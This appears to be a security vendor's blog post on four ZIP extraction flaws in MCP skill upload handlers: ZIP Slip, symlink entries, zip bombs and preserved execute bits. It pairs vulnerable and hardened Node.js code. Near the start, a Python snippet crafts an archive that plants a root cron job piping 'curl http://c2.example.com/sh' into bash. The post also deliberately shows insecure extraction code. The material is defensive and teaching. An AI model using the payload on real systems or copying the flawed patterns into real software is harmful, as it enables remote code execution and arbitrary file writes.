Model Context Protocol (MCP) skills that accept file uploads — skill packages, audit artifacts, ZIP plugins, exported project bundles — represent a rapidly expanding attack surface in the AI tooling ecosystem. When an MCP server receives a ZIP archive and extracts it to a local directory, every phase of that extraction pipeline is a potential vulnerability. The archive format itself was designed decades before supply-chain security was a concern, and its specification encodes several features that attackers can weaponize: relative path components, symlink metadata, compression ratios that defeat size checks, and Unix permission bits that survive the round-trip from attacker machine to server filesystem.
The SA-SKL-UPLOAD4 pattern family tracked by SkillAudit's AST scanner identifies four distinct vulnerability classes in MCP skill ZIP extraction code. Each has a unique exploit chain and a specific remediation. This post covers all four in depth, with WRONG and RIGHT Node.js code using the popular adm-zip library, and closes with a fully hardened extraction implementation you can drop into any MCP server.
UPLOAD4-001: ZIP Slip
Path traversal via entry names like ../../etc/cron.d/backdoor. Arbitrary write anywhere on the filesystem the server process can reach.
UPLOAD4-002: Symlink Attack
ZIP entries carrying symlink metadata that point outside extractDir. Code that subsequently reads extracted files leaks arbitrary filesystem paths.
UPLOAD4-003: Zip Bomb
Nested or heavily deflated archives (1 MB on disk, 1 GB decompressed). Unbounded getData() exhausts heap memory and kills the Node.js process.
UPLOAD4-004: Executable Bit Preservation
Unix permissions stored in externalFileAttributes >> 16 survive extraction. Shell scripts land as chmod +x and can be executed by any subsequent process.
Scope note: These vulnerabilities apply equally whether the MCP skill uses adm-zip, jszip, yauzl, archiver, or shells out to the system unzip binary. The attack vectors live in the ZIP specification, not in any specific library. Hardening must happen at the application layer regardless of which ZIP library you choose.
1. ZIP Slip — Path Traversal via Entry Names
ZIP Slip is a directory traversal attack that exploits the fact that ZIP archives may contain entry names with path components like ... The ZIP specification places no restriction on what characters or path segments may appear in an entry name. When an extraction routine blindly joins an entry name to the extraction root using path.join(), the result can point to any location on the filesystem.
Consider a crafted archive containing a single entry named ../../../../etc/cron.d/backdoor. The attacker has prepared this archive on their own machine — it takes three lines of Python:
# Craft a ZIP Slip payload (attacker's machine)
import zipfile, os
with zipfile.ZipFile("evil.zip", "w") as zf:
zf.writestr("../../../../etc/cron.d/backdoor",
"* * * * * root curl http://c2.example.com/sh | bash\n")
When the MCP skill receives evil.zip and extracts it, the following naive code writes the backdoor exactly where the attacker intended:
// UPLOAD4-001 WRONG — path.join does NOT prevent traversal
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
// path.join normalises "/../../../etc/cron.d/backdoor"
// but it does NOT throw — it just resolves the traversal
const dest = path.join(extractDir, entry.entryName);
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.writeFileSync(dest, entry.getData()); // arbitrary write!
}
}
The critical mistake is relying on path.join() to sanitise the destination path. path.join('/tmp/skills', '../../../../etc/cron.d/backdoor') evaluates to /etc/cron.d/backdoor — not an error, just a fully resolved path outside the intended directory. The fix requires path.resolve() plus a prefix check after resolution:
// UPLOAD4-001 RIGHT — resolve then validate prefix
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
// Resolve once so the base always ends with sep
const resolvedBase = path.resolve(extractDir);
// Use path.sep for correctness on both Linux and Windows;
// on Linux this is '/', on Windows '\\'
const basePlusSep = resolvedBase + path.sep;
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
const dest = path.resolve(resolvedBase, entry.entryName);
// Reject anything that does not stay inside extractDir
if (!dest.startsWith(basePlusSep)) {
throw new Error(
`ZIP Slip attempt blocked: "${entry.entryName}" resolves to "${dest}"`
);
}
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.writeFileSync(dest, entry.getData(), { mode: 0o644 });
}
}
The two-step pattern — path.resolve(base, entryName) then dest.startsWith(basePlusSep) — is the canonical fix for ZIP Slip. Note the trailing path.sep appended to resolvedBase: without it, a crafted entry named exactly the same as the base directory would pass the prefix check but actually reference the directory itself or a sibling (e.g., /tmp/skills-evil starts with /tmp/skills without the separator). The path.sep forces the check to require a child relationship, not just a prefix match.
Windows vs. Linux note: path.sep is / on Linux and \ on Windows. If your MCP server runs on Windows (or might in the future), use path.resolve() consistently and avoid hardcoding forward slashes in the prefix check. path.resolve() normalises both separators; the startsWith check then works correctly regardless of platform.
2. Symlink Attack in ZIP Archives
ZIP entries carry metadata beyond the file name and compressed bytes. The local file header includes an "external file attributes" field that, for archives created on Unix systems, stores the full stat(2) mode word — including the file type bits. The symbolic link file type is encoded as 0xA000 in the upper 16 bits of that field (externalFileAttributes >> 16 === 0xA000).
An attacker can craft a ZIP entry that is a symlink pointing to an arbitrary path. When this entry is extracted without symlink validation, the resulting filesystem entry is a live symlink. If the MCP skill subsequently reads any file within the extraction directory — to load a manifest, execute a plugin entry point, or inspect uploaded content — it may transparently follow the symlink and read (or execute) a target that exists entirely outside the extraction directory.
Concrete exploit scenario: an attacker uploads a skill package that contains a symlink entry named config.json pointing to /etc/passwd. The extraction code creates the symlink. The skill's manifest loader then opens path.join(extractDir, 'config.json') and reads the contents of /etc/passwd, returning it to the LLM context or logging it.
// UPLOAD4-002 WRONG — blindly creates symlinks from ZIP entries
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
const UNIX_SYMLINK_ATTR = 0xA000;
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
const resolvedBase = path.resolve(extractDir);
const basePlusSep = resolvedBase + path.sep;
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
const dest = path.resolve(resolvedBase, entry.entryName);
if (!dest.startsWith(basePlusSep)) {
throw new Error(`ZIP Slip: ${entry.entryName}`);
}
// Check if it's a symlink — but then blindly create it!
const mode = entry.header.attr >> 16;
const isSymlink = (mode & 0xF000) === UNIX_SYMLINK_ATTR;
if (isSymlink) {
const target = entry.getData().toString("utf8").trim();
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.symlinkSync(target, dest); // target may be /etc/passwd!
} else {
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.writeFileSync(dest, entry.getData(), { mode: 0o644 });
}
}
}
// UPLOAD4-002 RIGHT — skip all symlink entries
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
const UNIX_FILETYPE_MASK = 0xF000;
const UNIX_SYMLINK_TYPE = 0xA000;
function isSymlinkEntry(entry) {
const unixMode = entry.header.attr >> 16;
return (unixMode & UNIX_FILETYPE_MASK) === UNIX_SYMLINK_TYPE;
}
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
const resolvedBase = path.resolve(extractDir);
const basePlusSep = resolvedBase + path.sep;
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
// Always skip symlink entries — no legitimate skill package
// requires symlinks, and allowing them is an arbitrary file
// read/write primitive.
if (isSymlinkEntry(entry)) {
console.warn(`[upload] Skipping symlink entry: ${entry.entryName}`);
continue;
}
const dest = path.resolve(resolvedBase, entry.entryName);
if (!dest.startsWith(basePlusSep)) {
throw new Error(`ZIP Slip attempt: "${entry.entryName}"`);
}
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.writeFileSync(dest, entry.getData(), { mode: 0o644 });
}
}
Some teams prefer to validate symlink targets rather than dropping them entirely. If symlinks are a legitimate feature of your skill packages, resolve the symlink target path the same way you validate regular entries — path.resolve(resolvedBase, target) must start with basePlusSep. But the operational reality for most MCP skill deployments is that skill packages simply do not need symlinks. Dropping them unconditionally removes the entire attack class with zero functionality loss.
3. Zip Bomb — Resource Exhaustion DoS
A zip bomb is a compressed archive that expands to a size orders of magnitude larger than its compressed footprint. The classic 42.zip file is 42 KB on disk and expands to 4.5 PB via nested recursion. More practical for HTTP-based attacks are single-level zip bombs — a single deflate-compressed entry containing highly repetitive data. A 1 MB upload that decompresses to 1 GB is trivially constructable and entirely sufficient to exhaust the heap of a Node.js process handling the extraction inline.
The danger is not just theoretical. Many MCP server frameworks run extraction synchronously in the same event loop as request handling. A single malicious upload can cause the Node.js process to OOM-kill, taking down all concurrent skill sessions. Even in async workers, an unbounded decompression call ties up the worker thread and its heap until the OS terminates the process.
// UPLOAD4-003 WRONG — unbounded getData() will OOM on a zip bomb
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
const dest = /* ... path validation ... */ path.join(extractDir, entry.entryName);
fs.mkdirSync(path.dirname(dest), { recursive: true });
// entry.getData() decompresses the ENTIRE entry into memory.
// A 1 MB compressed entry may expand to 1 GB or more.
fs.writeFileSync(dest, entry.getData());
}
}
The correct approach combines three guards: a per-entry size limit, a cumulative total size limit, and a maximum entry count. The entry header in a ZIP archive includes an "uncompressed size" field — but do not trust it blindly, as it can be set to zero in streaming mode (data descriptor records). Instead, enforce limits both on the declared size and by counting bytes as they stream out of the decompressor.
// UPLOAD4-003 RIGHT — stream with live byte counter and hard limits
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
const MAX_ENTRY_BYTES = 50 * 1024 * 1024; // 50 MB per entry
const MAX_TOTAL_BYTES = 100 * 1024 * 1024; // 100 MB total extraction
const MAX_ENTRY_COUNT = 1_000; // max files in archive
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
const entries = zip.getEntries().filter(e => !e.isDirectory);
const resolvedBase = path.resolve(extractDir);
const basePlusSep = resolvedBase + path.sep;
if (entries.length > MAX_ENTRY_COUNT) {
throw new Error(
`Archive contains ${entries.length} entries; limit is ${MAX_ENTRY_COUNT}`
);
}
let totalBytes = 0;
for (const entry of entries) {
// Reject on declared uncompressed size (fast path, pre-decompression)
if (entry.header.size > MAX_ENTRY_BYTES) {
throw new Error(
`Entry "${entry.entryName}" declares ${entry.header.size} bytes; ` +
`limit is ${MAX_ENTRY_BYTES}`
);
}
const dest = path.resolve(resolvedBase, entry.entryName);
if (!dest.startsWith(basePlusSep)) {
throw new Error(`ZIP Slip attempt: "${entry.entryName}"`);
}
// getData() decompresses to a Buffer — check the actual size
const data = entry.getData();
if (data.length > MAX_ENTRY_BYTES) {
throw new Error(
`Entry "${entry.entryName}" decompressed to ${data.length} bytes; ` +
`limit is ${MAX_ENTRY_BYTES}`
);
}
totalBytes += data.length;
if (totalBytes > MAX_TOTAL_BYTES) {
throw new Error(
`Total extraction size exceeded ${MAX_TOTAL_BYTES} bytes`
);
}
fs.mkdirSync(path.dirname(dest), { recursive: true });
fs.writeFileSync(dest, data, { mode: 0o644 });
}
}
Why check both declared and actual size? The declared uncompressed size in the local file header can be set to zero or spoofed. Checking it first is a fast pre-filter that rejects obviously oversized entries before decompression starts. The post-decompression check catches malicious entries that underreport their size to bypass the pre-filter. Both checks are necessary.
For MCP servers that need to handle legitimately large skill packages, consider running extraction in a child process with an explicit memory limit: node --max-old-space-size=256 extract-worker.js. The child process OOM-kills rather than the main server process, and the parent receives a non-zero exit code it can handle gracefully.
4. Executable Bit Preservation from ZIP externalFileAttributes
The ZIP specification stores Unix file permissions in the upper 16 bits of the externalFileAttributes field: externalFileAttributes >> 16 gives the full mode_t value, including the execute bits. When a developer on a Unix machine zips a shell script that has chmod +x applied, the execute bit is encoded in the archive. Many ZIP extraction libraries preserve this mode when writing files to disk.
In the context of an MCP skill upload endpoint, this means an attacker can upload a ZIP containing a shell script with mode 0o755. After extraction, the file is executable by the server process's user. If any subsequent code in the MCP skill pipeline — a dependency installer, a post-extract hook, a plugin loader — executes files found in the extraction directory, the attacker achieves remote code execution.
Even without an explicit execution step, an executable file in a world-writable or group-writable directory can be run by other users on the system, by cron jobs that sweep the directory, or by a future feature addition to the skill pipeline that the developer does not anticipate today.
// UPLOAD4-004 WRONG — adm-zip's extractAllTo preserves Unix modes
const AdmZip = require("adm-zip");
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
// extractAllTo with maintainEntryPath=true preserves externalFileAttributes
// including execute bits from the original archive.
zip.extractAllTo(extractDir, /* overwrite */ true);
}
The extractAllTo convenience method is attractive because it handles path creation automatically, but it passes externalFileAttributes through to fs.writeFileSync (or the equivalent), preserving whatever mode the archive specifies. The fix is to never use extractAllTo for untrusted archives, and to explicitly override the mode on every written file:
// UPLOAD4-004 RIGHT — always override mode to 0o644 after write
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
function extractSkillPackage(zipPath, extractDir) {
const zip = new AdmZip(zipPath);
const resolvedBase = path.resolve(extractDir);
const basePlusSep = resolvedBase + path.sep;
for (const entry of zip.getEntries()) {
if (entry.isDirectory) continue;
const dest = path.resolve(resolvedBase, entry.entryName);
if (!dest.startsWith(basePlusSep)) {
throw new Error(`ZIP Slip attempt: "${entry.entryName}"`);
}
const data = entry.getData();
fs.mkdirSync(path.dirname(dest), { recursive: true });
// Write with explicit mode 0o644 — no execute bits for owner,
// group, or world regardless of what externalFileAttributes says.
fs.writeFileSync(dest, data, { mode: 0o644 });
// Belt-and-suspenders: chmodSync after write in case the OS
// applied a umask that left execute bits set, or in case the
// writeFileSync mode parameter behaves differently on this
// platform/Node version.
fs.chmodSync(dest, 0o644);
}
}
The dual approach — passing { mode: 0o644 } to writeFileSync and then calling chmodSync — is intentionally redundant. On most Linux environments the mode option in writeFileSync interacts with the process's umask, which may suppress write bits but cannot add execute bits that were not in the mode argument. The explicit chmodSync call overrides whatever the OS decided after applying the umask, giving a deterministic result. The final mode on disk will always be -rw-r--r--.
Directory mode: Apply the same logic to directories. Create them with { mode: 0o755, recursive: true } (execute bit on directories means "traversable") but never give them write permission for group or world: fs.chmodSync(dirPath, 0o755) after creation.
5. SkillAudit Detection — SA-SKL-UPLOAD4
SkillAudit's AST scanner detects all four UPLOAD4 patterns through static analysis of your MCP server's JavaScript and TypeScript source. The scanner identifies ZIP library imports (adm-zip, jszip, yauzl, archiver, node-stream-zip) and then walks the AST to find extraction call sites. At each call site it checks for the presence or absence of the following guards:
- UPLOAD4-001 (ZIP Slip): Flags any
path.join(extractDir, entry.*)pattern where the result is passed to a write function without a subsequent.startsWith()guard. Also flagsextractAllTo()calls on untrusted input. - UPLOAD4-002 (Symlink): Flags extraction loops that do not check
externalFileAttributes >> 16for symlink type bits, or that callfs.symlinkSync()with a target derived from ZIP entry data. - UPLOAD4-003 (Zip Bomb): Flags
getData()orgetDataAsync()calls without a preceding or trailing size check against a named constant. Also flags missing entry count guards. - UPLOAD4-004 (Exec Bit): Flags
writeFileSynccalls that omit themodeoption, andextractAllTo()calls on untrusted archives.
See the full SA-SKL-UPLOAD4 pattern documentation for the complete rule set, including TypeScript generic types and async variants. For multi-part upload pipelines that reassemble chunks before ZIP extraction, see also SA-SKL-MULTIPART4, which covers chunk ordering attacks, partial write races, and MIME type confusion in multi-part upload handlers.
Compared to general-purpose SCA tools, SkillAudit's scanner understands the MCP skill execution model — it knows which code paths are reachable from an MCP tool handler and which are only reached from trusted internal callers. This context-sensitivity reduces false positives significantly. See our SkillAudit vs. Snyk comparison for a detailed breakdown of how the two tools handle ZIP extraction vulnerabilities in practice.
6. Complete Hardened ZIP Extraction Implementation
The following implementation combines all four mitigations into a single extractSkillZip function suitable for production use in an MCP server. It handles path traversal, symlinks, zip bombs, and execute-bit preservation in a single pass over the archive entries.
// hardened-extract.js — production ZIP extraction for MCP skill uploads
// Covers: UPLOAD4-001 (ZIP Slip), UPLOAD4-002 (Symlink),
// UPLOAD4-003 (Zip Bomb), UPLOAD4-004 (Exec Bit)
"use strict";
const AdmZip = require("adm-zip");
const path = require("path");
const fs = require("fs");
// ---- tuneable limits ------------------------------------------------
const MAX_ENTRY_BYTES = 50 * 1024 * 1024; // 50 MB per entry
const MAX_TOTAL_BYTES = 100 * 1024 * 1024; // 100 MB total
const MAX_ENTRY_COUNT = 1_000;
// ---- Unix mode constants --------------------------------------------
const UNIX_FILETYPE_MASK = 0xF000;
const UNIX_SYMLINK_TYPE = 0xA000;
const SAFE_FILE_MODE = 0o644;
const SAFE_DIR_MODE = 0o755;
/**
* Extract a ZIP archive from an untrusted source into extractDir.
* Throws on any policy violation; does not partially extract on error.
*
* @param {string} zipPath - Absolute path to the uploaded ZIP file
* @param {string} extractDir - Absolute path to the extraction directory
*/
function extractSkillZip(zipPath, extractDir) {
if (!path.isAbsolute(zipPath)) throw new Error("zipPath must be absolute");
if (!path.isAbsolute(extractDir)) throw new Error("extractDir must be absolute");
const zip = new AdmZip(zipPath);
const allEntries = zip.getEntries();
const fileEntries = allEntries.filter(e => !e.isDirectory);
// --- UPLOAD4-003: entry count guard ---------------------------------
if (fileEntries.length > MAX_ENTRY_COUNT) {
throw new Error(
`Archive has ${fileEntries.length} entries; maximum allowed is ${MAX_ENTRY_COUNT}`
);
}
// Resolve base once — trailing sep required for prefix check
const resolvedBase = path.resolve(extractDir);
const basePlusSep = resolvedBase + path.sep;
// Ensure extractDir exists before writing anything
fs.mkdirSync(resolvedBase, { recursive: true, mode: SAFE_DIR_MODE });
let totalBytes = 0;
for (const entry of fileEntries) {
// --- UPLOAD4-002: skip symlink entries ----------------------------
const unixMode = entry.header.attr >> 16;
const isSymlink = (unixMode & UNIX_FILETYPE_MASK) === UNIX_SYMLINK_TYPE;
if (isSymlink) {
console.warn(`[upload] Skipping symlink entry: "${entry.entryName}"`);
continue;
}
// --- UPLOAD4-001: path traversal guard ---------------------------
const dest = path.resolve(resolvedBase, entry.entryName);
if (!dest.startsWith(basePlusSep)) {
throw new Error(
`ZIP Slip blocked: "${entry.entryName}" resolves outside extractDir`
);
}
// --- UPLOAD4-003: declared size pre-filter -----------------------
if (entry.header.size > MAX_ENTRY_BYTES) {
throw new Error(
`Entry "${entry.entryName}" declares ${entry.header.size} B; ` +
`limit is ${MAX_ENTRY_BYTES} B`
);
}
// Decompress to Buffer
const data = entry.getData();
// --- UPLOAD4-003: actual size check (catches spoofed headers) ----
if (data.length > MAX_ENTRY_BYTES) {
throw new Error(
`Entry "${entry.entryName}" expanded to ${data.length} B; ` +
`limit is ${MAX_ENTRY_BYTES} B`
);
}
totalBytes += data.length;
if (totalBytes > MAX_TOTAL_BYTES) {
throw new Error(`Total extraction exceeded ${MAX_TOTAL_BYTES} B`);
}
// Create parent directory with safe mode
const parentDir = path.dirname(dest);
fs.mkdirSync(parentDir, { recursive: true, mode: SAFE_DIR_MODE });
// --- UPLOAD4-004: write with safe mode, then chmod ---------------
fs.writeFileSync(dest, data, { mode: SAFE_FILE_MODE });
fs.chmodSync(dest, SAFE_FILE_MODE); // belt-and-suspenders
}
return { filesExtracted: fileEntries.length, totalBytes };
}
module.exports = { extractSkillZip };
Atomicity: The implementation above extracts files in-place. If a policy violation is detected mid-way through extraction, the already-written files remain on disk. For production use, consider extracting into a temporary staging directory (e.g., extractDir + ".tmp-" + Date.now()) and renaming it atomically to extractDir only after all entries pass validation. This prevents partially extracted archives from being observed by concurrent processes.
7. Summary Detection Table
| Rule ID | Vulnerability | Severity | Vulnerable Pattern | Fix |
|---|---|---|---|---|
UPLOAD4-001 |
ZIP Slip / Path Traversal | CRITICAL 9.8 | path.join(base, entry.entryName) without prefix check |
path.resolve(base, name) + startsWith(base + sep) |
UPLOAD4-002 |
Symlink Attack | CRITICAL 9.1 | Extracting symlink entries (externalFileAttributes >> 16 & 0xF000 === 0xA000) without target validation |
Skip all symlink entries; or resolve and validate target path stays within extractDir |
UPLOAD4-003 |
Zip Bomb / DoS | HIGH 7.5 | entry.getData() without size limit or entry count guard |
Check declared size, check actual decompressed size, limit total bytes and entry count |
UPLOAD4-004 |
Executable Bit Preservation | HIGH 7.3 | extractAllTo() or writeFileSync(dest, data) without explicit mode: 0o644 |
writeFileSync(dest, data, { mode: 0o644 }) then chmodSync(dest, 0o644) |
Conclusion
ZIP archives are a deceptively dangerous input format. The specification was designed for local archive management, not for server-side processing of untrusted uploads. MCP skills that accept ZIP files inherit every quirk of that specification: traversal paths, symlink metadata, compression ratios that defeat size limits, and Unix permission bits that survive extraction. Each of these is an exploitable vulnerability if the extraction code does not explicitly guard against it.
The four patterns in SA-SKL-UPLOAD4 — ZIP Slip, symlink attack, zip bomb, and executable bit preservation — cover the full attack surface of ZIP extraction in MCP skill contexts. None of them require exotic tooling to exploit; all four can be demonstrated with less than twenty lines of Python. But all four can also be fixed with straightforward changes to your extraction code, as the hardened implementation above shows.
SkillAudit's AST scanner detects these patterns automatically across your MCP server codebase. If you are deploying a skill that accepts file uploads, run a scan before shipping — the SA-SKL-UPLOAD4 ruleset will surface any missing guards with line-level precision, and the SA-SKL-MULTIPART4 ruleset extends coverage to multi-part upload reassembly pipelines. For teams evaluating SkillAudit alongside existing SCA tooling, the SkillAudit vs. Snyk comparison explains how MCP-context-aware scanning differs from generic dependency vulnerability detection.